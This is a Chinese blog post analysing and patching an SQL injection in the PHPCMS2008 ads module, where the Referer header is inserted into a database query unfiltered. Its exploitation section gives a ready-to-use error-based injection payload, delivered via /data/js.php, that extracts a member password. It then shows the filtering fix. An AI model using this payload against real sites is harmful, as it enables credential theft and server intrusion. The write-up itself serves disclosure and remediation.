PHPCMS2008广告模板SQL注入漏洞修复


Posted in PHP onOctober 11, 2016

00 漏洞描述

PHPCMS2008由于广告模块取referer不严,导致一处sql注入漏洞.可以得到管理员用户名与密码,攻击者登录后台后可能会获取webshell,对服务器进行进一步的渗透。

01 漏洞分析

漏洞产生的位置:

/ads/include/ads_place.class.phpshow方法中.

function show($placeid)
...
if($adses[0]['option'])
{
foreach($adses as $ads)
{
$contents[] = ads_content($ads, 1);
$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referrer',‘$time',,'0')”);
$template = $ads['template'] ? $ads['template'] : 'ads';
}
}
...

sql语句中

$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referrer',‘$time',,'0')”);

这里$this->referrer过this方法直接将HTTP请求头中的referer字段插入到数据库中,没有做任何过滤措施。(这个this方法是PHPCMS里面直接封装的)。

所以现在已经找到漏洞点,下一步就是找包含漏洞的用户可控的页面。如果漏洞是用户不可控的,比如只能管理员利用,那就相当的鸡肋了。

这里使用回溯的方法,看看哪些页面调用了它。

页面/ads/include/commom.inc.php

<?php 
...
require MOD_ROOT.'include/ads_place.class.php';
require MOD_ROOT.'include/ads.class.php';
...
?>

在往上看看谁调用了/ads/include/commom.inc.php

/ads/ad.php文件中

<?php
...
require './include/common.inc.php';
...
?>

ad.php文件为用户可控文件,但ad.php有时不能访问,继续向上查找/data/js.php

<?php
chdir(‘../ads/');
require ‘./ad.php';
?>

在用户访问首页时,会调用js.php,通过该文件可以提交有害字段,然后通过逐层调用,传入字段referer到危险方法show,引入SQL注入攻击。

02 漏洞利用

修改请求头中的referer字段的话有很多种,比如burpsuite,Tamper Data…

这里直接使用火狐的Tamper Data进行修改:

点击Start Tamper,然后访问http://your-addr/data/js.php?id=1

这时候Tamper Data会跳出来,在右边框内,点击右键,添加一个element值填写payload

referer=1', (SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#

这里我解释一下:因为漏洞的sql语句是INSERT是不回显的,所以可以使用盲注,这里的payload使用的floor报错注入。floor报错注入原理请参考:floor函数用法

把这个payload带入sql语句中是:

$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘1',‘$time',(SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#,'0')”);

PHPCMS2008广告模板SQL注入漏洞修复

03 漏洞修复

对相关字段进行过滤处理。

$referer = safe_replace($this->referer);
$this->db->query("INSERT INTO $this->stat_table (`adsid`, `username`, `ip`, `referer`, `clicktime`, `type`) VALUES ('$ads[adsid]', '$_username', '$ip', '$referer', '$time', '0')");
$template = $ads['template'] ? $ads['template'] : 'ads';

这里safe_replace是PHPCMS2008封装的过滤函数。

以上所述是小编给大家介绍的PHPCMS2008广告模板SQL注入漏洞,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

PHP 相关文章推荐
Php Cookie的一个使用注意点
Nov 08 PHP
PHP 字符串分割和比较
Oct 06 PHP
PHP操作xml代码
Jun 17 PHP
php正则表达式使用的详细介绍
Apr 27 PHP
关于使用key/value数据库redis和TTSERVER的心得体会
Jun 28 PHP
PHP数据过滤的方法
Oct 30 PHP
PHP调用存储过程返回值不一致问题的解决方法分析
Apr 26 PHP
PHP带节点操作的无限分类实现方法详解
Nov 09 PHP
PHP7多线程搭建教程
Apr 21 PHP
ThinkPHP下表单令牌错误与解决方法分析
May 20 PHP
Linux下 php7安装redis的方法
Nov 01 PHP
php用wangeditor3实现图片上传功能
Aug 22 PHP
php基于curl实现随机ip地址抓取内容的方法
Oct 11 #PHP
php 获取文件行数的方法总结
Oct 11 #PHP
PHP中文字符串截断无乱码解决方法
Oct 10 #PHP
PHP获取用户客户端真实IP的解决方案
Oct 10 #PHP
php表单加入Token防止重复提交的方法分析
Oct 10 #PHP
Laravel5中防止XSS跨站攻击的方法
Oct 10 #PHP
php中让人头疼的浮点数运算分析
Oct 10 #PHP
You might like
PHP实时显示输出
2008/10/02 PHP
Zend Studio (eclipse)使用速度优化方法
2011/03/23 PHP
优化PHP程序的方法小结
2012/02/23 PHP
PHP设计模式之工厂方法设计模式实例分析
2018/04/25 PHP
YII分模块加载路由的实现方法
2018/10/01 PHP
js利用div背景,做一个竖线的效果。
2008/11/22 Javascript
JQuery实现用户名无刷新验证的小例子
2013/03/22 Javascript
判断及设置浏览器全屏模式
2014/04/20 Javascript
jquery获取及设置outerhtml的方法
2015/03/09 Javascript
实例解析jQuery中如何取消后续执行内容
2016/12/01 Javascript
基于JavaScript实现拖动滑块效果
2017/02/16 Javascript
利用JS对iframe父子(内外)页面进行操作的方法教程
2017/06/15 Javascript
JS实现获取进今年第几天是周几的方法分析
2018/06/27 Javascript
Node.js的进程管理的深入理解
2019/01/09 Javascript
浅谈webpack devtool里的7种SourceMap模式
2019/01/14 Javascript
javascript将16进制的字符串转换为10进制整数hex
2020/03/05 Javascript
[01:08:56]DOTA2-DPC中国联赛 正赛 Magma vs LBZS BO3 第一场 2月7日
2021/03/11 DOTA
python两种遍历字典(dict)的方法比较
2014/05/29 Python
Python网络爬虫项目:内容提取器的定义
2016/10/25 Python
Python实现感知机(PLA)算法
2017/12/20 Python
Python比较2个时间大小的实现方法
2018/04/10 Python
Django中ajax发送post请求 报403错误CSRF验证失败解决方案
2019/08/13 Python
TensorFlow命名空间和TensorBoard图节点实例
2020/01/23 Python
TensorFlow加载模型时出错的解决方式
2020/02/06 Python
Python面向对象中类(class)的简单理解与用法分析
2020/02/21 Python
jupyter notebook中美观显示矩阵实例
2020/04/17 Python
解决Python中导入自己写的类,被划红线,但不影响执行的问题
2020/07/13 Python
Html5适配iphoneX刘海屏的简单实现
2019/04/09 HTML / CSS
HTML5触摸事件(touchstart、touchmove和touchend)的实现
2020/05/08 HTML / CSS
英国音乐设备和乐器商店:Gear4music
2017/10/16 全球购物
初始化了一个没有run()方法的线程类,是否会出错?
2014/03/27 面试题
如何通过jdbc调用存储过程
2012/04/19 面试题
火锅店创业计划书范文
2014/02/02 职场文书
文秘应聘自荐书范文
2014/02/18 职场文书
教师一岗双责责任书
2014/04/16 职场文书
2014年国庆节演讲稿精选范文1500字
2014/09/25 职场文书